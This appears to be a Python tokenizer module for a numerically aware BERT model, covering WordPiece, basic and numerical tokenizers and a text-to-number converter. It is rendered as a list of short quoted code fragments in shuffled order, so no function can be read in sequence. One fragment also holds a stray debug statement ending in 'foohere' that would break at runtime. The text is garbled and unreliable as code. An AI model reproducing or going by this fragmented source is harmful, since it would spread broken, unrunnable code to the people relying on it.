cp == 0 or cp == 0xfffd or", "'rd', 'st', 'nd')): new_word = new_word[:-2] try: if new_word not", "out_string def save_vocabulary(self, vocab_path): \"\"\"Save the tokenizer vocabulary to a", "\"\\t\" or char == \"\\n\" or char == \"\\r\": return", "governing permissions and # limitations under the License. \"\"\"Tokenization classes.\"\"\"", "word if it's an int after preprocessing Magnitude_with_hundred = Magnitude.copy()", "0 start_new_word = True output = [] while i <", "token, token_index in sorted(self.vocab.items(), key=lambda kv: kv[1]): if index !=", "before it # if _is_punctuation(char) and not chars[i-1].isdigit() or _is_punctuation(char)", "+= 1 return [\"\".join(x) for x in output] def _tokenize_chinese_chars(self,", "tokens (string) in a single string. \"\"\" out_string = '", "\"Can't find a vocabulary file at path '{}'. To load", "\"\"\" never_split = self.never_split + (never_split if never_split is not", "we replaced it with a number break except NumberException: if", "is None: never_split = [] self.do_lower_case = do_lower_case self.never_split =", "were not trained on any Chinese data # and generally", "self.do_lower_case and token not in never_split: token = token.lower() token", "list: words = [word.lower() for word in sent] # n", "are generally considered as such. if char == \" \"", "the vocabulary from a Google pretrained \" \"model use `tokenizer", "\"\"\"Converts an index (integer) in a token (string/unicode) using the", "you but \" \"you may want to check this behavior.\")", "of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless", "< len(chars): try: if token not in ['infinity', 'inf', 'nan']:", "never_split def tokenize(self, text, never_split=None): \"\"\" Basic Numerical Tokenization of", "16.0, 'seventeen': 17.0, 'eighteen': 18.0, 'nineteen': 19.0, 'twenty': 20.0, 'thirty':", "(sub_token, numeric_value, numeric_mask) in self.wordpiece_tokenizer.tokenize(token): split_tokens.append(sub_token) numeric_values.append(numeric_value) numeric_masks.append(numeric_mask) if numeric_value", "set \" \"`do_lower_case` to False. We are setting `do_lower_case=False` for", "Magnitude_with_hundred = Magnitude.copy() Magnitude_with_hundred['hundred'] = 100 # convert \"a {hundred,thousand,million,...}\"", "_is_punctuation(char) and i == 0: if _is_punctuation(char): if i ==", "2018 The Google AI Language Team Authors and The HuggingFace", "i+1: out_sigfigs.append('-1') out_words.append(words[i]) i += 1 assert len(out_sigfigs) == len(out_words)", "tokenized sequences to; Effective maximum length is always the minimum", "logger.warning(\"The pre-trained model you are loading is an uncased model", "or whitespace separated tokens. This should have already been passed", "-> 2000 and remove endings from ordinal numbers for i", "text.split() return tokens class BertNumericalTokenizer(PreTrainedTokenizer): r\"\"\" Constructs a BertTokenizer. :class:`~pytorch_transformers.BertTokenizer`", "1 return new_words, sigs # ​ # def normalize_numbers_in_sent(sent, remove_pos=False,", "the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required", "basic tokenization (punctuation splitting, lower casing, etc.).\"\"\" def __init__(self, do_lower_case=True,", "truncate tokenized sequences to; Effective maximum length is always the", "return \"\".join(output) def _is_chinese_char(self, cp): \"\"\"Checks whether CP is the", "'twenty': 20.0, 'thirty': 30.0, 'forty': 40.0, 'fifty': 50.0, 'sixty': 60.0,", "loading is an uncased model but you have set \"", "License. # You may obtain a copy of the License", "else: do_split = False else: do_split = False if do_split:", "} Magnitude = { 'thousand': 1000.0, 'million': 1000000.0, 'billion': 1000000000.0,", "= never_split def tokenize(self, text, never_split=None): \"\"\" Basic Numerical Tokenization", "get_values=False, get_sigfigs=None, get_numeric_masks=None): split_tokens = [] numeric_values = [] numeric_masks", "and cp != 46: if cat.startswith(\"P\"): return True return False", "<= 0x2B73F) or # (cp >= 0x2B740 and cp <=", "\"Mn\": continue output.append(char) return \"\".join(output) def _run_split_on_punc(self, text, never_split=None): \"\"\"Splits", "def _tokenize(self, text, get_values=False, get_sigfigs=None, get_numeric_masks=None): split_tokens = [] numeric_values", "normalize number words to digits. :param sent: sentence (str) :return:", "'$%' # text = self._clean_text(text) # orig_tokens = whitespace_tokenize(text) split_tokens,", "if _is_punctuation(char) and not chars[i-1].isdigit() or _is_punctuation(char) and i ==", "# skip this sequence since we replaced it with a", "else: output.append(char) return \"\".join(output) class WordpieceTokenizer(object): \"\"\"Runs WordPiece tokenization.\"\"\" def", "'nan']: int_word = float(new_word) # words[i] = str(int_word) words[i] =", "return True cat = unicodedata.category(char) if cat == \"Zs\": return", "loading is a cased model but you have not set", "English Wikipedia.). if self.tokenize_chinese_chars: text = self._tokenize_chinese_chars(text) orig_tokens = whitespace_tokenize(text)", "\"\"\" return self.vocab.get(token, self.vocab.get(self.unk_token)) def _convert_id_to_token(self, index): \"\"\"Converts an index", "None else []) text = self._clean_text(text) # This was added", "normalize_numbers_in_sent(sent, remove_pos=False, never_split=None): \"\"\" Given a sentence, perform preprocessing and", "6.0, 'seven': 7.0, 'eight': 8.0, 'nine': 9.0, 'ten': 10.0, 'eleven':", "model's sequence length. never_split: List of tokens which will never", "\"but you may want to check this behavior.\") kwargs['do_lower_case'] =", "corrupted!\".format(vocab_file)) index = token_index writer.write(token + u'\\n') index += 1", "will never be split during tokenization. Only has an effect", "self.do_lower_case = do_lower_case self.never_split = never_split def tokenize(self, text, never_split=None):", "block is NOT all Japanese and Korean characters, # despite", "return \"\".join(output) def _run_split_on_punc(self, text, never_split=None): \"\"\"Splits punctuation on a", "longest-match-first algorithm to perform tokenization using the given vocabulary. For", "raise ValueError( \"Can't find a vocabulary file at path '{}'.", "a one-wordpiece-per-line vocabulary file **do_lower_case**: (`optional`) boolean (default True) Whether", "split_tokens = [] for token in orig_tokens: if self.do_lower_case and", "(2,000 -> 2000) . remove endings from ordinal numbers (2nd", "sequence since we replaced it with a number break except", "msg): Exception.__init__(self, msg) def text2num(sent): if type(sent) is str: words", "a token (string/unicode) using the vocab.\"\"\" return self.ids_to_tokens.get(index, self.unk_token) def", "{hundred,thousand,...}\" so it can be handled by text2num function .", "[] sigs = [] i = 0 while i <", "We are setting `do_lower_case=True` for you \" \"but you may", "def generate_ngrams(sentence, n): return zip(*[sentence[i:] for i in range(n)]) def", "output_tokens.extend(sub_tokens) assert len(numeric_values) == len(output_tokens) == len(numeric_mask) return zip(output_tokens, numeric_values,", "\"\"\" out_words = [] words, sigfigs = preprocess(sent, remove_pos, never_split)", "j in range(len(words), i, -1): try: number = str(text2num(words[i:j])) if", "except NumberException: if j == i+1: out_sigfigs.append('-1') out_words.append(words[i]) i +=", "= token_index writer.write(token + u'\\n') index += 1 return (vocab_file,)", "We treat all non-letter/number ASCII as punctuation. # Characters such", "cp <= 0x2FA1F)): # return True return False def _clean_text(self,", "ids in self.vocab.items()]) self.do_basic_tokenize = do_basic_tokenize self.numerical_tokenizer = NumericalTokenizer(do_lower_case=do_lower_case, never_split=never_split)", "lower case the input. **never_split**: (`optional`) list of str Kept", "cp <= 0x2B81F) or # (cp >= 0x2B820 and cp", "= 0 mantissa = 0 # number = 0.0 for", "modify this word if it's an int after preprocessing Magnitude_with_hundred", "text): \"\"\"Tokenizes a piece of text into its word pieces.", "= [] while start < len(chars): try: if token not", "Returns: A list of wordpiece tokens. \"\"\" output_tokens = []", "WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.", "def _is_chinese_char(self, cp): \"\"\"Checks whether CP is the codepoint of", "!= self.default_value: split_sigfigs.append(sigfig) else: split_sigfigs.append('-1') if numeric_value != self.default_value and", "BertNumericalTokenizer(PreTrainedTokenizer): r\"\"\" Constructs a BertTokenizer. :class:`~pytorch_transformers.BertTokenizer` runs end-to-end tokenization: punctuation", "multilingual and Chinese # models. This is also applied to", "\"\"\" Constructs a BasicTokenizer. Args: **do_lower_case**: Whether to lower case", "remove commas from numbers (2,000 -> 2000) . remove endings", "= True output = [] while i < len(chars): char", "at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable", "for the specific language governing permissions and # limitations under", "= PRETRAINED_VOCAB_FILES_MAP max_model_input_sizes = PRETRAINED_POSITIONAL_EMBEDDINGS_SIZES def __init__(self, vocab_file, do_lower_case=True, do_basic_tokenize=True,", "= Magnitude.copy() Magnitude_with_hundred['hundred'] = 100 # convert \"a {hundred,thousand,million,...}\" to", "of text. Args: **never_split**: (`optional`) list of str Kept for", "i == 0: do_split = True elif i == len(chars)-1:", "2018 for the multilingual and Chinese # models. This is", "*inputs, **kwargs): \"\"\" Instantiate a BertNumericalTokenizer from pre-trained vocabulary files.", "a whitespace character.\"\"\" # \\t, \\n, and \\r are technically", "not None: mantissa = mantissa*magnitude else: # non-number word raise", "out_words.append(number) i = j-1 # skip this sequence since we", "for j in range(len(words), i, -1): try: number = str(text2num(words[i:j]))", "char in text: cp = ord(char) if self._is_chinese_char(cp): output.append(\" \")", "output.append(\" \") output.append(char) output.append(\" \") else: output.append(char) return \"\".join(output) def", "and Korean characters, # despite its name. The modern Korean", "for word in sent.strip().split()] else: words = [word for word", "open from transformers import PreTrainedTokenizer logger = logging.getLogger(__name__) VOCAB_FILES_NAMES =", "required by applicable law or agreed to in writing, software", "and # limitations under the License. \"\"\"Tokenization classes.\"\"\" from __future__", "BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either", "sequence of tokens (string) in a single string. \"\"\" out_string", "range(len(words), i, -1): try: number = str(text2num(words[i:j])) if sigfigs[i] ==", "= ['[UNK_NUM]'] self.ids_to_tokens = collections.OrderedDict( [(ids, tok) for tok, ids", "mantissa = float(word) except ValueError: raise NumberException(\"First must be a", "<= 47) or (cp >= 58 and cp <= 64)", "so it can be handled by text2num function . convert", "\"`do_lower_case` to False. We are setting `do_lower_case=False` for you but", "not text: return [] tokens = text.split() return tokens class", "agreed to in writing, software # distributed under the License", "return [\"\".join(x) for x in output] def _tokenize_chinese_chars(self, text): \"\"\"Adds", "as punctuation anyways, for # consistency. if ((cp >= 33", "class BasicTokenizer(object): \"\"\"Runs basic tokenization (punctuation splitting, lower casing, etc.).\"\"\"", "distributed under the License is distributed on an \"AS IS\"", "output[-1].append(char) i += 1 return [\"\".join(x) for x in output]", "= unk_num self.default_value = 1.0 self.max_input_chars_per_word = max_input_chars_per_word def tokenize(self,", "is the codepoint of a CJK character.\"\"\" # This defines", "'eleven': 11.0, 'twelve': 12.0, 'thirteen': 13.0, 'fourteen': 14.0, 'fifteen': 15.0,", "[] while start < len(chars): try: if token not in", "also applied to the English models now, but it doesn't", "def save_vocabulary(self, vocab_path): \"\"\"Save the tokenizer vocabulary to a directory", "index return vocab def whitespace_tokenize(text): \"\"\"Runs basic whitespace cleaning and", "int after preprocessing Magnitude_with_hundred = Magnitude.copy() Magnitude_with_hundred['hundred'] = 100 #", "\"`\" are not in the Unicode # Punctuation class but", "For example: input = \"unaffable\" output = [\"un\", \"##aff\", \"##able\"]", "and words) new_words = [] sigs = [] i =", "text into its word pieces. This uses a greedy longest-match-first", "7.0, 'eight': 8.0, 'nine': 9.0, 'ten': 10.0, 'eleven': 11.0, 'twelve':", "90.0 } Magnitude = { 'thousand': 1000.0, 'million': 1000000.0, 'billion':", "by text2num function . convert \"digit digitword\" (24 hundred) ->", "endings from ordinal numbers for i in range(len(words)): new_word =", "sub_token != self.unk_num: print(sub_token, numeric_value) foohere if get_numeric_masks: return numeric_masks", "__init__(self, msg): Exception.__init__(self, msg) def text2num(sent): if type(sent) is str:", "`do_lower_case=True` for you \" \"but you may want to check", "is_number: #ACTUAL NUMBER HERE output_tokens.append(self.unk_num) numeric_values.append(numeric_value) numeric_mask.append(1) elif is_bad: output_tokens.append(self.unk_token)", "CP is the codepoint of a CJK character.\"\"\" # This", "and Katakana. Those alphabets are used to write # space-separated", "is_number == False: cur_substr = substr break end -= 1", "is always the minimum of this value (if specified) and", "of text. Split on \"white spaces\" only, for sub-word tokenization,", "into a dictionary.\"\"\" vocab = collections.OrderedDict() with open(vocab_file, \"r\", encoding=\"utf-8\")", "a \"chinese character\" as anything in the CJK Unicode block:", "self.vocab.items()]) self.do_basic_tokenize = do_basic_tokenize self.numerical_tokenizer = NumericalTokenizer(do_lower_case=do_lower_case, never_split=never_split) if do_basic_tokenize:", "and words_lower[i+1] in Magnitude_with_hundred: new_words.append(str(float(words_lower[i]) * Magnitude_with_hundred[words_lower[i+1]])) sigs.append(f'{words_lower[i]} {words_lower[i+1]}') i", "<= 0x2B81F) or # (cp >= 0x2B820 and cp <=", "in an id using the vocab. \"\"\" return self.vocab.get(token, self.vocab.get(self.unk_token))", "= [] words, sigfigs = preprocess(sent, remove_pos, never_split) out_sigfigs =", "to write # space-separated words, so they are not treated", "This uses a greedy longest-match-first algorithm to perform tokenization using", "== 'a' and words_lower[i+1] in Magnitude_with_hundred: words[i] = 'one' #", "VOCAB_FILES_NAMES = {'vocab_file': 'vocab.txt'} PRETRAINED_VOCAB_FILES_MAP = { 'vocab_file': { 'bert-base-uncased':", "remove_pos=False, never_split=None): \"\"\" Preprocess the sentence by: . remove commas", "((cp >= 0x4E00 and cp <= 0x9FFF) or # (cp", "Note that the CJK Unicode block is NOT all Japanese", "'+'): return s[1:].isdigit() return s.isdigit() def preprocess(sent, remove_pos=False, never_split=None): \"\"\"", "tokenizer = BasicTokenizer(do_lower_case=True, never_split=never_split) words = tokenizer.tokenize(sent) # sent =", "sentence, perform preprocessing and normalize number words to digits. :param", "whitespace since they are generally considered as such. if char", "vocabulary because Wikipedia does have some Chinese # words in", "output_tokens def _run_strip_accents(self, text): \"\"\"Strips accents from a piece of", "continue if _is_whitespace(char): output.append(\" \") else: output.append(char) return \"\".join(output) class", "text.\"\"\" if never_split is not None and text in never_split:", "# digits = '0123456789' # punctuation = '$%' # text", "A list of wordpiece tokens. \"\"\" output_tokens = [] numeric_values", "sub-word tokenization, see WordPieceTokenizer. Args: **never_split**: (`optional`) list of str", "(`optional`) list of string List of tokens which will never", "perform tokenization using the given vocabulary. For example: input =", "invalid character removal and whitespace cleanup on text.\"\"\" output =", "start_new_word: output.append([]) start_new_word = False output[-1].append(char) i += 1 return", "\"Zs\": return True return False def _is_control(char): \"\"\"Checks whether `chars`", "Whether to do basic tokenization before wordpiece. **never_split**: (`optional`) list", "else []) text = self._clean_text(text) # This was added on", "preprocessing and normalize number words to digits. :param sent: sentence", "is not None and text in never_split: return [text] chars", "to split. \"\"\" # digits = '0123456789' # punctuation =", "elif i != 0: magnitude = Magnitude.get(word, None) if magnitude", "= [\"un\", \"##aff\", \"##able\"] Args: text: A single token or", "word in sent.strip().split()] tokenizer = BasicTokenizer(do_lower_case=True, never_split=never_split) words = tokenizer.tokenize(sent)", "'three': 3.0, 'four': 4.0, 'five': 5.0, 'six': 6.0, 'seven': 7.0,", "= 0 # g = 0 mantissa = 0 #", "# \\t, \\n, and \\r are technically contorl characters but", "its word pieces. This uses a greedy longest-match-first algorithm to", "absolute_import, division, print_function, unicode_literals import collections import logging import os", "this value (if specified) and the underlying BERT model's sequence", "OR CONDITIONS OF ANY KIND, either express or implied. #", "(cp >= 0x2B820 and cp <= 0x2CEAF) or (cp >=", "the License is distributed on an \"AS IS\" BASIS, #", "= whitespace_tokenize(text) split_tokens = [] for token in orig_tokens: if", "vocabulary files. \"\"\" if pretrained_model_name_or_path in PRETRAINED_POSITIONAL_EMBEDDINGS_SIZES: if '-cased' in", "numeric_mask.append(0) else: numeric_values.extend([self.default_value]*len(sub_tokens))#-9e9 numeric_mask.extend([0]*len(sub_tokens)) output_tokens.extend(sub_tokens) assert len(numeric_values) == len(output_tokens) ==", "a piece of text.\"\"\" if never_split is not None and", "> 0: substr = \"##\" + substr if substr in", "# We treat all non-letter/number ASCII as punctuation. # Characters", "!= 46: if cat.startswith(\"P\"): return True return False ################ #", "os import sys import unicodedata from io import open from", "words[i] = new_word except ValueError: pass # only modify this", "​ # def normalize_numbers_in_sent(sent, remove_pos=False, never_split=None): \"\"\" Given a sentence,", "sub_tokens = [] while start < len(chars): try: if token", "# as is Japanese Hiragana and Katakana. Those alphabets are", "\"\"\" super(BertNumericalTokenizer, self).__init__(unk_token=unk_token, sep_token=sep_token, pad_token=pad_token, cls_token=cls_token, mask_token=mask_token, **kwargs) if not", ">= 0x3400 and cp <= 0x4DBF) or # (cp >=", "NumberException(\"First must be a number of sorts\") elif i !=", "sep_token=sep_token, pad_token=pad_token, cls_token=cls_token, mask_token=mask_token, **kwargs) if not os.path.isfile(vocab_file): raise ValueError(", "0x3400 and cp <= 0x4DBF) or # (cp >= 0x20000", "token (str/unicode) in an id using the vocab. \"\"\" return", "\"https://s3.amazonaws.com/models.huggingface.co/bert/bert-base-cased-vocab.txt\", 'bert-large-cased': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-large-cased-vocab.txt\", 'bert-base-multilingual-uncased': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-base-multilingual-uncased-vocab.txt\", 'bert-base-multilingual-cased': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-base-multilingual-cased-vocab.txt\", 'bert-base-chinese': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-base-chinese-vocab.txt\", 'bert-base-german-cased':", "tokenize(self, text, never_split=None): \"\"\" Basic Tokenization of a piece of", "False. We are setting `do_lower_case=True` for you \" \"but you", "= [] for token in orig_tokens: if self.do_lower_case and token", "1.0 self.max_input_chars_per_word = max_input_chars_per_word def tokenize(self, text): \"\"\"Tokenizes a piece", "and cp <= 0x2B73F) or # (cp >= 0x2B740 and", "i += 1 else: new_words.append(words[i]) sigs.append('') if i == len(words)", "law or agreed to in writing, software # distributed under", "= '[UNK_NUM]' self.default_value = 1.0 never_split = ['[UNK_NUM]'] self.ids_to_tokens =", "if never_split is None: never_split = [] self.do_lower_case = do_lower_case", "== len(chars)-1: do_split = True else: if not chars[i-1].isdigit(): do_split", "vocab = collections.OrderedDict() with open(vocab_file, \"r\", encoding=\"utf-8\") as reader: tokens", "<= 126)): return True cat = unicodedata.category(char) # if cat.startswith(\"P\")", "Whether to lower case the input Only has an effect", "to split. \"\"\" if never_split is None: never_split = []", "Small.get(word, None) if mantissa is None: try: mantissa = float(word)", "NUMBER HERE output_tokens.append(self.unk_num) numeric_values.append(numeric_value) numeric_mask.append(1) elif is_bad: output_tokens.append(self.unk_token) numeric_values.append(self.default_value)#-9e9 numeric_mask.append(0)", "now, but it doesn't # matter since the English models", "when do_wordpiece_only=False \"\"\" vocab_files_names = VOCAB_FILES_NAMES pretrained_vocab_files_map = PRETRAINED_VOCAB_FILES_MAP max_model_input_sizes", "the License. \"\"\"Tokenization classes.\"\"\" from __future__ import absolute_import, division, print_function,", "generate_ngrams(sentence, n): return zip(*[sentence[i:] for i in range(n)]) def check_int(s):", "word pieces. This uses a greedy longest-match-first algorithm to perform", "= [] i = 0 for (token, sigfig) in self.numerical_tokenizer.tokenize(text,", "len(words): for j in range(len(words), i, -1): try: number =", "Converts a token (str/unicode) in an id using the vocab.", "end: substr = \"\".join(chars[start:end]) if start > 0: substr =", ">= 0x2F800 and cp <= 0x2FA1F)): # return True return", "float(word) except ValueError: raise NumberException(\"First must be a number of", "= chars[i] #dont split on periods if number is before", "and is_number == False: cur_substr = substr break end -=", "return s[1:].isdigit() return s.isdigit() def preprocess(sent, remove_pos=False, never_split=None): \"\"\" Preprocess", "1 if cur_substr is None: is_bad = True break sub_tokens.append(cur_substr)", "for backward compatibility purposes. Now implemented directly at the base", "may obtain a copy of the License at # #", "< len(words): for j in range(len(words), i, -1): try: number", "Authors and The HuggingFace Inc. team. # # Licensed under", "for index, token in enumerate(tokens): token = token.rstrip('\\n') vocab[token] =", "if do_basic_tokenize: self.basic_tokenizer = BasicTokenizer(do_lower_case=do_lower_case, never_split=never_split, tokenize_chinese_chars=tokenize_chinese_chars) self.wordpiece_tokenizer = WordpieceTokenizer(vocab=self.vocab,", "word raise NumberException(\"Unknown number: \"+word) return mantissa def generate_ngrams(sentence, n):", ". remove endings from ordinal numbers (2nd -> 2) .", "kwargs['do_lower_case'] = True return super(BertNumericalTokenizer, cls)._from_pretrained(pretrained_model_name_or_path, *inputs, **kwargs) class NumericalTokenizer(object):", "vocabulary. For example: input = \"unaffable\" output = [\"un\", \"##aff\",", "text): \"\"\"Strips accents from a piece of text.\"\"\" text =", "may not use this file except in compliance with the", "== False: cur_substr = substr break end -= 1 if", "chars = list(token) if len(chars) > self.max_input_chars_per_word: output_tokens.append(self.unk_token) numeric_values.append(self.default_value) numeric_mask.append(0)", "(never_split if never_split is not None else []) text =", "\"w\", encoding=\"utf-8\") as writer: for token, token_index in sorted(self.vocab.items(), key=lambda", "this word if it's an int after preprocessing Magnitude_with_hundred =", "512, 'bert-large-cased': 512, 'bert-base-multilingual-uncased': 512, 'bert-base-multilingual-cased': 512, 'bert-base-chinese': 512, 'bert-base-german-cased':", "this file except in compliance with the License. # You", "if is_number: #ACTUAL NUMBER HERE output_tokens.append(self.unk_num) numeric_values.append(numeric_value) numeric_mask.append(1) elif is_bad:", "in enumerate(words): if i == 0: mantissa = Small.get(word, None)", "tokenization before wordpiece. max_len: An artificial maximum length to truncate", "g = 0 mantissa = 0 # number = 0.0", "modern Korean Hangul alphabet is a different block, # as", "is NOT all Japanese and Korean characters, # despite its", "to a one-wordpiece-per-line vocabulary file **do_lower_case**: (`optional`) boolean (default True)", "indices are not consecutive.\" \" Please check that the vocabulary", "= whitespace_tokenize(text) split_tokens, split_sigfigs = normalize_numbers_in_sent(text) output_tokens = whitespace_tokenize(\" \".join(split_tokens))", "\"a {hundred,thousand,million,...}\" to \"one {hundred,thousand,million,...}\" for i in range(len(words)-1): if", "# # Licensed under the Apache License, Version 2.0 (the", "as punctuation. # Characters such as \"^\", \"$\", and \"`\"", "# convert \"24 {Magnitude}\" -> 24000000000000 (mix of digits and", "on an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS", "with a number break except NumberException: if j == i+1:", "# space-separated words, so they are not treated specially and", "'bert-base-multilingual-uncased': 512, 'bert-base-multilingual-cased': 512, 'bert-base-chinese': 512, 'bert-base-german-cased': 512, 'bert-large-uncased-whole-word-masking': 512,", "is_bad = False start = 0 sub_tokens = [] while", "function . convert \"digit digitword\" (24 hundred) -> 2400 and", "# remove commas from numbers \"2,000\" -> 2000 and remove", "'bert-base-uncased': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-base-uncased-vocab.txt\", 'bert-large-uncased': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-large-uncased-vocab.txt\", 'bert-base-cased': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-base-cased-vocab.txt\", 'bert-large-cased': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-large-cased-vocab.txt\", 'bert-base-multilingual-uncased': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-base-multilingual-uncased-vocab.txt\",", "(punctuation splitting, lower casing, etc.).\"\"\" def __init__(self, do_lower_case=True, never_split=None): \"\"\"", "max_len: An artificial maximum length to truncate tokenized sequences to;", "# Punctuation class but we treat them as punctuation anyways,", "\"https://s3.amazonaws.com/models.huggingface.co/bert/bert-base-chinese-vocab.txt\", 'bert-base-german-cased': \"https://int-deepset-models-bert.s3.eu-central-1.amazonaws.com/pytorch/bert-base-german-cased-vocab.txt\", 'bert-large-uncased-whole-word-masking': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-large-uncased-whole-word-masking-vocab.txt\", 'bert-large-cased-whole-word-masking': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-large-cased-whole-word-masking-vocab.txt\", 'bert-large-uncased-whole-word-masking-finetuned-squad': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-large-uncased-whole-word-masking-finetuned-squad-vocab.txt\", 'bert-large-cased-whole-word-masking-finetuned-squad':", "_run_strip_accents(self, text): \"\"\"Strips accents from a piece of text.\"\"\" text", "_is_control(char): \"\"\"Checks whether `chars` is a control character.\"\"\" # These", "assert len(numeric_values) == len(output_tokens) == len(numeric_mask) return zip(output_tokens, numeric_values, numeric_mask)", "numeric_values assert len(split_tokens) == len(numeric_values) == len(split_sigfigs) if get_sigfigs: return", "should likely be deactivated for Japanese: see: https://github.com/huggingface/pytorch-pretrained-BERT/issues/328 \"\"\" if", "are not in the Unicode # Punctuation class but we", "i != 0: magnitude = Magnitude.get(word, None) if magnitude is", "team. # # Licensed under the Apache License, Version 2.0", "file at path '{}'. To load the vocabulary from a", "trained on any Chinese data # and generally don't have", "for x in output] def _tokenize_chinese_chars(self, text): \"\"\"Adds whitespace around", "<= 0x2CEAF) or (cp >= 0xF900 and cp <= 0xFAFF)", "words from the sentence \"\"\" out_words = [] words, sigfigs", "512, 'bert-base-cased-finetuned-mrpc': 512, } def load_vocab(vocab_file): \"\"\"Loads a vocabulary file", "= BasicTokenizer(do_lower_case=do_lower_case, never_split=never_split, tokenize_chinese_chars=tokenize_chinese_chars) self.wordpiece_tokenizer = WordpieceTokenizer(vocab=self.vocab, unk_token=self.unk_token, unk_num=self.unk_num) @property", "== \"\\n\" or char == \"\\r\": return False cat =", "do basic tokenization before wordpiece. **never_split**: (`optional`) list of string", "\"\".join(chars[start:end]) if start > 0: substr = \"##\" + substr", "re.compile(_fraction) # number_pattern = re.compile(_numbers) class BasicTokenizer(object): \"\"\"Runs basic tokenization", "40.0, 'fifty': 50.0, 'sixty': 60.0, 'seventy': 70.0, 'eighty': 80.0, 'ninety':", "its name. The modern Korean Hangul alphabet is a different", "logger.warning(\"The pre-trained model you are loading is a cased model", "False output[-1].append(char) i += 1 return [\"\".join(x) for x in", "# convert \"a {hundred,thousand,million,...}\" to \"one {hundred,thousand,million,...}\" for i in", "def _is_whitespace(char): \"\"\"Checks whether `chars` is a whitespace character.\"\"\" #", "splitting, lower casing, etc.).\"\"\" def __init__(self, do_lower_case=True, never_split=None): \"\"\" Constructs", "basic whitespace cleaning and splitting on a piece of text.\"\"\"", "`chars` is a whitespace character.\"\"\" # \\t, \\n, and \\r", "for char in text: cp = ord(char) if self._is_chinese_char(cp): output.append(\"", "(cp >= 0xF900 and cp <= 0xFAFF) or # (cp", "\"\"\"Runs basic tokenization (punctuation splitting, lower casing, etc.).\"\"\" def __init__(self,", "-= 1 if cur_substr is None: is_bad = True break", "Korean Hangul alphabet is a different block, # as is", "= unicodedata.normalize(\"NFD\", text) output = [] for char in text:", "words[i] = 'one' # convert \"24 {Magnitude}\" -> 24000000000000 (mix", "and \"`\" are not in the Unicode # Punctuation class", "do_lower_case=True, do_basic_tokenize=True, never_split=None, unk_token=\"[UNK]\", sep_token=\"[SEP]\", pad_token=\"[PAD]\", cls_token=\"[CLS]\", mask_token=\"[MASK]\", tokenize_chinese_chars=True, **kwargs):", "char == \" \" or char == \"\\t\" or char", "BasicTokenizer(do_lower_case=do_lower_case, never_split=never_split, tokenize_chinese_chars=tokenize_chinese_chars) self.wordpiece_tokenizer = WordpieceTokenizer(vocab=self.vocab, unk_token=self.unk_token, unk_num=self.unk_num) @property def", "mantissa = mantissa*magnitude else: # non-number word raise NumberException(\"Unknown number:", "the input. Only has an effect when do_wordpiece_only=False do_basic_tokenize: Whether", "as whitespace # characters. if char == \"\\t\" or char", "or implied. # See the License for the specific language", "False elif '-cased' not in pretrained_model_name_or_path and not kwargs.get('do_lower_case', True):", "= token.lower() token = self._run_strip_accents(token) split_tokens.extend(self._run_split_on_punc(token)) output_tokens = whitespace_tokenize(\" \".join(split_tokens))", "directly at the base class level (see :func:`PreTrainedTokenizer.tokenize`) List of", "(`optional`) boolean (default True) Whether to tokenize Chinese characters. This", "casing, etc.).\"\"\" def __init__(self, do_lower_case=True, never_split=None, tokenize_chinese_chars=True): \"\"\" Constructs a", "token = self._run_strip_accents(token) split_tokens.extend(self._run_split_on_punc(token)) output_tokens = whitespace_tokenize(\" \".join(split_tokens)) return output_tokens", "class level (see :func:`PreTrainedTokenizer.tokenize`) List of token not to split.", "1000000000000000000000.0, 'septillion': 1000000000000000000000000.0, 'octillion': 1000000000000000000000000000.0, 'nonillion': 1000000000000000000000000000000.0, } class NumberException(Exception):", "\"digit digitword\" (24 hundred) -> 2400 and return the sentence's", "mantissa = Small.get(word, None) if mantissa is None: try: mantissa", "base class level (see :func:`PreTrainedTokenizer.tokenize`) List of token not to", "output = [] for char in text: cat = unicodedata.category(char)", "don't have any Chinese data in them (there are Chinese", "'bert-large-cased': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-large-cased-vocab.txt\", 'bert-base-multilingual-uncased': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-base-multilingual-uncased-vocab.txt\", 'bert-base-multilingual-cased': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-base-multilingual-cased-vocab.txt\", 'bert-base-chinese': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-base-chinese-vocab.txt\", 'bert-base-german-cased': \"https://int-deepset-models-bert.s3.eu-central-1.amazonaws.com/pytorch/bert-base-german-cased-vocab.txt\",", "0 while i < len(words)-1: if check_int(words_lower[i]) and words_lower[i+1] in", "'bert-large-uncased-whole-word-masking': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-large-uncased-whole-word-masking-vocab.txt\", 'bert-large-cased-whole-word-masking': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-large-cased-whole-word-masking-vocab.txt\", 'bert-large-uncased-whole-word-masking-finetuned-squad': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-large-uncased-whole-word-masking-finetuned-squad-vocab.txt\", 'bert-large-cased-whole-word-masking-finetuned-squad': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-large-cased-whole-word-masking-finetuned-squad-vocab.txt\", 'bert-base-cased-finetuned-mrpc': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-base-cased-finetuned-mrpc-vocab.txt\",", "if not os.path.isfile(vocab_file): raise ValueError( \"Can't find a vocabulary file", "never_split is not None and text in never_split: return [text]", "unk_token=\"[UNK]\", sep_token=\"[SEP]\", pad_token=\"[PAD]\", cls_token=\"[CLS]\", mask_token=\"[MASK]\", tokenize_chinese_chars=True, **kwargs): 